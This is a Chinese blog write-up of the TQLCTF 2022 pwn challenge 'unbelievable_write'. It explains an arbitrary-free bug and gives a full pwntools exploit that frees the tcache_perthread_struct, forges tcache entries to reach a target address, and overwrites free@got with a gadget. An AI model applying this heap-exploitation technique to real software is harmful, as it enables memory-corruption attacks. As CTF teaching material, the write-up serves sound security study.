TQLCTF 2022


TQLCTF 2022

PWN

unbelievable_write

有一次机会可以free堆上任意的一个地址:

void c2()
{
  __int64 v0; // rbx
  int offset; // eax

  if ( golden == 1 )
  {
    golden = 0LL;
    v0 = ptr;
    offset = read_int();	// offset 可以是负数
    free((void *)(v0 + offset));
  }
  else
  {
    puts("no!");
  }
}

思路就是把保存 tcache_perthread_struct 的chunk给释放掉,然后篡改里面的 counts 字段和 entries 字段,找一个 entry 直接指向 target(0x404080),然后直接分配对应大小的chunk,实现修改target。

pwndbg> heap
Allocated chunk | PREV_INUSE		<-- 这个
Addr: 0x405000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x4052b0
Size: 0x20d51

另外,为了绕过 free 函数对target的检查,需要取消掉 free。可以将 free@got 修改成 *retn + *endbr64,后面加 endbr64 那段gadget是因为我们的输入会附带一个 ‘\n’,但是 free@got 的后面又必须要这段gadget。

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 11
 
[0x404018] free@GLIBC_2.2.5 -> 0x401030 ◂— endbr64 
[0x404020] puts@GLIBC_2.2.5 -> 0x401040 ◂— endbr64 
[0x404028] write@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
......
.plt:0000000000401040 sub_401040      proc near
.plt:0000000000401040                 endbr64
.plt:0000000000401044                 push    1
.plt:0000000000401049                 bnd jmp sub_401020
.plt:0000000000401049 sub_401040      endp
  • EXP
    from pwn import *
    
    context(log_level = 'debug', terminal = ['tmux', 'sp', '-h'], binary = './pwn', arch = 'amd64')
    p = process('./pwn')
    elf = ELF('./pwn')
    
    def cho(ind):
        p.recvuntil(b'> ')
        p.sendline('{}'.format(ind).encode())
    
    def add(sz, payload):
        cho(1)
        p.sendline('{}'.format(sz).encode())
        p.sendline(payload)
    
    free_got = elf.got['free']
    
    cho(2)
    p.sendline('{}'.format(-0x290).encode())
    
    # 0x100, 0x110
    payload = p16(0)*15 + p16(1)*2 + p16(0)*(0x40-17) + p64(0)*0xf + p64(0x404080) + p64(free_got)
    add(0x280, payload)
    
    retn = 0x4014C3
    endbr64 = 0x401040
    add(0x110, p64(retn)+p64(endbr64))
    add(0x100, p64(0))
    gdb.attach(p)
    cho(3)
    
    p.interactive()

文章作者: 李立基
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 李立基 !
  目录